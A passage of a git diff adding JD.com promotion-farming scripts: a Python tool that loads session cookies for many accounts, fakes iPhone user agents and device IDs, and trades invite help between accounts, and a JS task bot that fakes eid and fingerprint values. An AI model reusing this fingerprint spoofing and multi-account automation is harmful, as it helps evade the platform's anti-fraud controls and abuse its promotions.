jdapp;iPhone;10.0.4;14.2;9fb54498b32e17dfc5717744b5eaecda8366223c;network/wifi;ADID/2CF597D0-10D8-4DF8-C5A2-61FD79AC8035;model/iPhone11,1;addressid/7785283669;appBuild/167707;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/null;supportJDSHWK/1 + :return: ua + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.15(0x18000f29) NetType/WIFI Language/zh_CN' + + """ + uuid = ''.join(random.sample('123456789abcdef123456789abcdef123456789abcdef123456789abcdef', 40)) + addressid = ''.join(random.sample('1234567898647', 10)) + iosVer = ''.join(random.sample(["14.5.1", "14.4", "14.3", "14.2", "14.1", "14.0.1", "13.7", "13.1.2", "13.1.1"], 1)) + iosV = iosVer.replace('.', '_') + iPhone = ''.join(random.sample(["8", "9", "10", "11", "12", "13"], 1)) + ADID = ''.join(random.sample('0987654321ABCDEF', 8)) + '-' + ''.join( + random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join( + random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 12)) + if not UserAgent: + return f'jdapp;iPhone;10.0.4;{iosVer};{uuid};network/wifi;ADID/{ADID};model/iPhone{iPhone},1;addressid/{addressid};appBuild/167707;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS {iosV} like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/null;supportJDSHWK/1' + else: + return UserAgent + +class getJDCookie(object): + # 适配各种平台环境ck + def getckfile(self): + global v4f + curf = pwd + 'JDCookies.txt' + v4f = '/jd/config/config.sh' + ql_new = '/ql/config/env.sh' + ql_old = '/ql/config/cookie.sh' + if os.path.exists(curf): + with open(curf, "r", encoding="utf-8") as f: + cks = f.read() + f.close() + r = re.compile(r"pt_key=.*?pt_pin=.*?;", re.M | re.S | re.I) + cks = r.findall(cks) + if len(cks) > 0: + return curf + else: + pass + if os.path.exists(ql_new): + print("当前环境青龙面板新版") + return ql_new + elif os.path.exists(ql_old): + print("当前环境青龙面板旧版") + return ql_old + elif os.path.exists(v4f): + print("当前环境V4") + return v4f + return curf + + # 获取cookie + def getCookie(self): + global cookies + ckfile = self.getckfile() + try: + if os.path.exists(ckfile): + with open(ckfile, "r", encoding="utf-8") as f: + cks = f.read() + f.close() + if 'pt_key=' in cks and 'pt_pin=' in cks: + r = re.compile(r"pt_key=.*?pt_pin=.*?;", re.M | re.S | re.I) + cks = r.findall(cks) + if len(cks) > 0: + if 'JDCookies.txt' in ckfile: + print("当前获取使用 JDCookies.txt 的cookie") + cookies = '' + for i in cks: + if 'pt_key=xxxx' in i: + pass + else: + cookies += i + return + else: + with open(pwd + 'JDCookies.txt', "w", encoding="utf-8") as f: + cks = "#多账号换行,以下示例:(通过正则获取此文件的ck,理论上可以自定义名字标记ck,也可以随意摆放ck)\n账号1【Curtinlv】cookie1;\n账号2【TopStyle】cookie2;" + f.write(cks) + f.close() + if "JD_COOKIE" in os.environ: + if len(os.environ["JD_COOKIE"]) > 10: + cookies = os.environ["JD_COOKIE"] + print("已获取并使用Env环境 Cookie") + except Exception as e: + print(f"【getCookie Error】{e}") + + # 检测cookie格式是否正确 + + def getUserInfo(self, ck, pinName, userNum): + url = 'https://me-api.jd.com/user_new/info/GetJDUserInfoUnion?orgFlag=JD_PinGou_New&callSource=mainorder&channel=4&isHomewhite=0&sceneval=2&sceneval=2&callback=' + headers = { + 'Cookie': ck, + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'Referer': 'https://home.m.jd.com/myJd/home.action', + 'Accept-Encoding': 'gzip, deflate, br', + 'Host': 'me-api.jd.com', + 'User-Agent': f'Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1', + 'Accept-Language': 'zh-cn' + } + try: + if sys.platform == 'ios': + requests.packages.urllib3.disable_warnings() + resp = requests.get(url=url, verify=False, headers=headers, timeout=60).json() + else: + resp = requests.get(url=url, headers=headers, timeout=60).json() + if resp['retcode'] == "0": + nickname = resp['data']['userInfo']['baseInfo']['nickname'] + return ck, nickname + else: + context = f"账号{userNum}【{pinName}】Cookie 已失效!请重新获取。" + print(context) + return ck, False + except Exception: + context = f"账号{userNum}【{pinName}】Cookie 已失效!请重新获取。" + print(context) + return ck, False + + def iscookie(self): + """ + :return: cookiesList,userNameList,pinNameList + """ + cookiesList = [] + userNameList = [] + pinNameList = [] + if 'pt_key=' in cookies and 'pt_pin=' in cookies: + r = re.compile(r"pt_key=.*?pt_pin=.*?;", re.M | re.S | re.I) + result = r.findall(cookies) + if len(result) >= 1: + print("您已配置{}个账号".format(len(result))) + u = 1 + for i in result: + r = re.compile(r"pt_pin=(.*?);") + pinName = r.findall(i) + pinName = unquote(pinName[0]) + # 获取账号名 + ck, nickname = self.getUserInfo(i, pinName, u) + if nickname != False: + cookiesList.append(ck) + userNameList.append(nickname) + pinNameList.append(pinName) + else: + u += 1 + continue + u += 1 + if len(cookiesList) > 0 and len(userNameList) > 0: + return cookiesList, userNameList, pinNameList + else: + print("没有可用Cookie,已退出") + exit(3) + else: + print("cookie 格式错误!...本次操作已退出") + exit(4) + else: + print("cookie 格式错误!...本次操作已退出") + exit(4) + + +getCk = getJDCookie() +getCk.getCookie() + + +def buildHeaders(ck): + headers = { + 'Accept': 'application/json, text/plain, */*', + 'Origin': 'https://wbbny.m.jd.com', + 'Accept-Encoding': 'gzip, deflate, br', + 'Cookie': ck, + 'Content-Type': 'application/x-www-form-urlencoded', + 'Host': 'api.m.jd.com', + 'Connection': 'keep-alive', + 'User-Agent': userAgent(), + # 'Referer': f'https://wbbny.m.jd.com/babelDiy/Zeus/2vVU4E7JLH9gKYfLQ5EVW6eN2P7B/index.html?babelChannel=jdappsyfc&shareType=taskHelp&inviteId=ZXASTT028Z1_cl4-8INRW9rJrQH-3oUxd6t1GFjRWn6u7zB55awQ&mpin=&from=sc&lng=113&lat=23&sid=&un_area=', + 'Referer': f'https://wbbny.m.jd.com/babelDiy/Zeus/2vVU4E7JLH9gKYfLQ5EVW6eN2P7B/index.html?babelChannel=jdappsyfc&shareType=taskHelp&inviteId=ZXASTT028Z1_cl4-8INRW9rJrQH-3oUxd6t1GFjRWn6u7zB55awQ&mpin=RnFsl2daPGGLzNTMDSugzOUmYgysBguS0mhHAIPkgjc&from=sc&lng=113.367454&lat=23.112787&sid=4d0c87024e75822e2940d31c251c1b0w&un_area=1_2901_55567_0', + 'Accept-Language': 'zh-cn' + } + return headers + +def getHomeData(header): + try: + url = 'https://api.m.jd.com/client.action?functionId=travel_getHomeData' + body = 'functionId=travel_getHomeData&body={"inviteId":""}&client=wh5&clientVersion=1.0.0' + resp = requests.post(url=url, headers=header, data=body, timeout=10).json() + secretp = resp['data']['result']['homeMainInfo']['secretp'] + return secretp + except: + return None + +def getinviteId(ck): + try: + url = 'https://api.m.jd.com/client.action?functionId=travel_getTaskDetail' + body = 'functionId=travel_getTaskDetail&body={}&client=wh5&clientVersion=1.0.0' + resp = requests.post(url=url, headers=buildHeaders(ck), data=body).json() + return resp['data']['result']['inviteId'] + except: + return 'ZXASTT018v_53RR4Y9lHfIBub1AFjRWn6u7zB55awQ' + +# 获取任务list +def travel_getTaskDetail(header): + try: + url = 'https://api.m.jd.com/client.action?functionId=travel_getTaskDetail' + body = 'functionId=travel_getTaskDetail&body={}&client=wh5&clientVersion=1.0.0' + resp = requests.post(url=url, headers=header, data=body).json() + taskVos = resp['data']['result']['taskVos'] + return taskVos + except: + return None +# 完成任务 +def travel_collectScore(header, taskId, taskToken, secretp): + try: + url = 'https://api.m.jd.com/client.action?functionId=travel_collectScore' + body = 'functionId=travel_collectScore&body={' + f'"taskId":"{taskId}","taskToken":"{taskToken}","actionType":1,' + f'%22ss%22:%22%7B%5C%22extraData%5C%22:%7B%5C%22log%5C%22:%5C%22%5C%22,%5C%22sceneid%5C%22:%5C%22HYJhPageh5%5C%22%7D,%5C%22secretp%5C%22:%5C%22{secretp}%5C%22,%5C%22random%5C%22:%5C%22%5C%22%7D%22%7D' + '&client=wh5&clientVersion=1.0.0' + resp = requests.post(url=url, headers=header, data=body).json() + except: + pass + # print("##完成结果:", resp) +# 关注店铺 +def followShop(header, shopId): + try: + url = 'https://api.m.jd.com/client.action?functionId=followShop' + body = 'functionId=followShop&body={"shopId":"'+ shopId + '","follow":true,"type":"0"}&client=wh5&clientVersion=1.0.0' + resp = requests.post(url=url, headers=header, data=body).json() + print("\t└",resp['msg']) + except: + pass +def qryCompositeMaterials(header, id): + url = 'https://api.m.jd.com/client.action?functionId=qryCompositeMaterials' + body = f'functionId=qryCompositeMaterials&body=%7B%22qryParam%22:%22%5B%7B%5C%22type%5C%22:%5C%22advertGroup%5C%22,%5C%22mapTo%5C%22:%5C%22taskPanelBanner%5C%22,%5C%22id%5C%22:%5C%22{id}%5C%22%7D%5D' +'","activityId":"2vVU4E7JLH9gKYfLQ5EVW6eN2P7B","pageId":"","reqSrc":"","applyKey":"jd_star"}&client=wh5&clientVersion=1.0.0&uuid=' + resp = requests.post(url=url, headers=header, data=body).json() + print(resp) + +def qryViewkitCallbackResult(header, taskToken): + t = round(time.time() * 1000) + url = 'https://api.m.jd.com/client.action?functionId=qryViewkitCallbackResult&client=wh5' + body = 'body={"dataSource":"newshortAward","method":"getTaskAward","reqParams":"%7B%5C%22taskToken%5C%22%3A%5C%22' + taskToken + '%5C%22%7D","sdkVersion":"1.0.0","clientLanguage":"zh","onlyTimeId":' + str(t) + ',"riskParam":{"platform":"3","orgType":"2","openId":"-1","pageClickKey":"Babel_VKCoupon","eid":"","fp":"-1","shshshfp":"","shshshfpa":"","shshshfpb":"","childActivityUrl":"","userArea":"-1","client":"","clientVersion":"","uuid":"","osVersion":"","brand":"","model":"","networkType":"","jda":"-1"}}' + resp = requests.post(url=url, headers=header, data=body).json() + if 'success' in resp['msg']: + print("\t\t└☺️", resp['toast']['subTitle']) + else: + print("\t\t└😓", resp) + +def task(ck): + header = buildHeaders(ck) + taskVos = travel_getTaskDetail(header) + secretp = getHomeData(header) + for t in taskVos: + t_status = t['status'] + if t_status == 1: + taskId = t['taskId'] + taskType = t['taskType'] + if taskType == 7: # 浏览关注 + print("\n☺️###开始浏览关注8s任务") + browseShopVo = t['browseShopVo'] + for o in browseShopVo: + if o['status'] == 1: + taskToken = o['taskToken'] + shopId = o['shopId'] + id = o['advGroupId'] + print(f"\t└开始 {o['shopName']}") + followShop(header, shopId) + travel_collectScore(header, taskId, taskToken, secretp) + print("\t\t└停留8秒~") + time.sleep(8) + # qryCompositeMaterials(header, id) + qryViewkitCallbackResult(header, taskToken) + + + +# 好友邀请助力 +def friendsHelp(ck, inviteId, secretp, nickname): + try: + url = 'https://api.m.jd.com/client.action?functionId=travel_collectScore' + body = 'functionId=travel_collectScore&body={"ss":"%7B%5C%22extraData%5C%22:%7B%5C%22log%5C%22:%5C%22%5C%22,%5C%22sceneid%5C%22:%5C%22HYGJZYh5%5C%22%7D,%5C%22secretp%5C%22:%5C%22'+ secretp + '%5C%22,%5C%22random%5C%22:%5C%22%5C%22%7D","inviteId":"' + inviteId + '"}&client=wh5&clientVersion=1.0.0' + resp = requests.post(url=url, headers=buildHeaders(ck), data=body, timeout=10).json() + isSuccess = resp['data']['success'] + result = resp['data']['bizMsg'] + bizCode = resp['data']['bizCode'] + + if isSuccess: + print(f"\t└😆用户【{nickname}】{result}") + else: + print(f"\t└😯用户【{nickname}】{result}") + if bizCode == -201: + return True + else: + return False + except: + pass + +# 膨胀红包领取 +def travel_pk_receiveAward(ck): + try: + url = 'https://api.m.jd.com/client.action?functionId=travel_pk_receiveAward' + body = 'functionId=travel_pk_receiveAward&body={}&client=wh5&clientVersion=1.0.0' + resp = requests.post(url=url, headers=buildHeaders(ck), data=body, timeout=10).json() + print("👌成功领取红包🧧:",resp['data']['result']['value']) + except: + pass +# 膨胀红包助力 +def travel_pk_collectPkExpandScore(ck, inviteId, secretp): + url = 'https://api.m.jd.com/client.action?functionId=travel_pk_collectPkExpandScore' + # body = 'functionId=travel_pk_collectPkExpandScore&body={"ss":"{\"extraData\":{\"log\":\"\",\"sceneid\":\"HYGJZYh5\"},\"secretp\":\"E7CRMI6DTcSTrabHO4r8_5la-GQ\",\"random\":\"35074436\"}","inviteId":"PKASTT018v_53RR4Y9lHfIBub1ACjRWnIaRzT0jeQOc"}&client=wh5&clientVersion=1.0.0' + body = 'functionId=travel_pk_collectPkExpandScore&body={"ss":"%7B%5C%22extraData%5C%22:%7B%5C%22log%5C%22:%5C%22%5C%22,%5C%22sceneid%5C%22:%5C%22HYGJZYh5%5C%22%7D,%5C%22secretp%5C%22:%5C%22' + secretp + '%5C%22,%5C%22random%5C%22:%5C%22%5C%22%7D","inviteId":"' + inviteId + '"}&client=wh5&clientVersion=1.0.0' + resp = requests.post(url=url, headers=buildHeaders(ck), data=body, timeout=10).json() + bizCode = resp['data']['bizCode'] + bizMsg = resp['data']['bizMsg'] + print(f"\t└{bizMsg}") + if bizCode == 103: + return True + else: + return False + +def start(): + try: + scriptName = '### 环游记 ###' + print(scriptName) + cookiesList, userNameList, pinNameList = getCk.iscookie() + # for ck in cookiesList: + # ss = 'PKASTT018v_53RR4Y9lHfIBub1ACjRWnIaRzT0jeQOc' + # if travel_pk_collectPkExpandScore(ck, ss, getHomeData(ck)): + # travel_pk_receiveAward(ck) + # exit(3) + for c,masterName in zip(cookiesList,userNameList): + print(f"\n### ☺️开始助力 {masterName}") + sharecode = getinviteId(c) + for ck,nickname in zip(cookiesList,userNameList): + if nickname == masterName: + print(f"\t└😓{masterName} 不能助力自己,跳过~") + continue + if friendsHelp(ck, sharecode, getHomeData(buildHeaders(ck)), nickname): + print(f"\t└👌用户【{masterName}】助力任务已完成。") + break + task(c) + except Exception as e: + print(e) + +if __name__ == '__main__': + start() + diff --git a/backUp/jd_industrial_task.js b/backUp/jd_industrial_task.js new file mode 100644 index 0000000..6d354a0 --- /dev/null +++ b/backUp/jd_industrial_task.js @@ -0,0 +1,239 @@ +/* +京东工业品任务 +做完任务有4豆。要跑至少2次。 +cron 13 5,16 * * * https://raw.githubusercontent.com/ickel00/gd_test/main/jd_industrial_task.js + */ +const $ = new Env('京东工业品'); +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const listUrl = `https://prodev.m.jd.com/mall/active/2w43r74mJQjiHmXB3dnsx7mznuMV/index.html`; +//Node.js用户请在jdCookie.js处填写京东ck; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const rd_char = "0123456789abcdefghijklmnopqrstuvwxyz" +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + $.exit = false; + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, {"open-url": "https://bean.m.jd.com/"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + $.configCode = `f11f0375da524037a3e7e1da6cb4510b` + $.eid = randomEid() + $.fp = randomString(32,rd_char) + if ($.eid !== null || $.eid !== undefined || $.eid !== '') { + await get_tasklist($.configCode); + } + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +//get_tasklist +function get_tasklist(code) { + return new Promise(resolve => { + let url = { + url: `https://jdjoy.jd.com/module/task/v2/getActivity?configCode=${code}&eid=${$.eid}&fp=${$.fp}`, + headers: { + 'Origin' : `https://prodev.m.jd.com`, + 'Cookie' : cookie, + 'Connection' : `keep-alive`, + 'Content-Type' : `application/json;charset=utf-8`, + 'Accept' : `application/json, text/plain, */*`, + 'Referer' : `${listUrl}`, + 'Host' : `jdjoy.jd.com`, + 'User-Agent' : $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.1.6;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Encoding' : `gzip, deflate, br`, + 'Accept-Language' : `zh-cn` + } + }; + $.get(url, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + const result = JSON.parse(data); + //console.log(`get_tasklist:${JSON.stringify(result)}`) + if (result.success == true) { + console.log(`\n获取活动列表成功!`) + tasklist = result.data.dailyTask.taskList + // console.debug(tasklist) + for (let vo of tasklist) { + taskCount = vo.taskCount + finishCount = vo.finishCount + count = taskCount - finishCount; + itemName = vo.item.itemName + itemId = vo.item.itemId + groupType = vo.groupType + if (groupType == 2 && !['card','car'].includes(process.env.FS_LEVEL)) { + console.log("默认不加购,请设置通用加购变量FS_LEVEL=car") + continue + } + console.log(`\n${itemName} 完成状态:${finishCount}/${taskCount}`) + if (count > 0) { + console.log(`开始做任务 ${itemName} ---`) + body = `{"groupType":${groupType},"configCode":"${$.configCode}","itemId":"${itemId}","eid":"${$.eid}","fp":"${$.fp}"}` + await $.wait(10000) + await do_task(body) + } + } + } else { + console.log(`\n获取活动列表失败:${JSON.stringify(result)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +//do_task +function do_task(body) { + return new Promise(resolve => { + $.post(taskUrl(body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + const result = JSON.parse(data); + //console.log(`do_task:${JSON.stringify(result)}`) + if (result.success == true) { + console.log(`做任务成功!`) + }else { + console.log(`做任务失败:${JSON.stringify(result)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +//taskUrl +function taskUrl(body) { + return { + url: `https://jdjoy.jd.com/module/task/v2/doTask`, + headers: { + 'Cookie': cookie, + 'Origin' : `https://prodev.m.jd.com`, + 'Accept-Encoding' : `gzip, deflate, br`, + 'Connection' : `keep-alive`, + 'Content-Type' : `application/json;charset=utf-8`, + 'Host' : `jdjoy.jd.com`, + 'Accept' : `application/json, text/plain, */*`, + 'User-Agent' : $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.1.6;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer' : `${listUrl}`, + 'Accept-Language': `zh-cn` + }, + body: body + } +} + +//configcode +function origin() { + return { + url: listUrl, + headers: { + 'Cookie': cookie, + 'Accept-Encoding' : `gzip, deflate, br`, + 'Connection' : `keep-alive`, + 'Content-Type' : `application/x-www-form-urlencoded`, + 'Host': `prodev.m.jd.com`, + 'Accept': `text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8`, + 'User-Agent' : $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.1.6;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': `zh-cn` + } + } +} + +function randomString(len,char) { + let res = "" + let a = char.length + for (let i = 0; i < len; i++) { + res += char.charAt(Math.floor(Math.random() * a)); + } + return res.toString(); +} + +function randomEid() { + const is_num = '000000110000001010000100000010010010000100010000100100010001101000011001000100000001000000' + const eid = [] + for (const flag of is_num) { + eid.push((flag == '1') ? randomString(1,'0123456789'):randomString(1,'ABCDEFGHIJKLMNOPQRSTUVWXYZ')) + } + return eid.join('') +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} + +function showMsg() { + return new Promise(resolve => { + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + resolve() + }) +} + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let 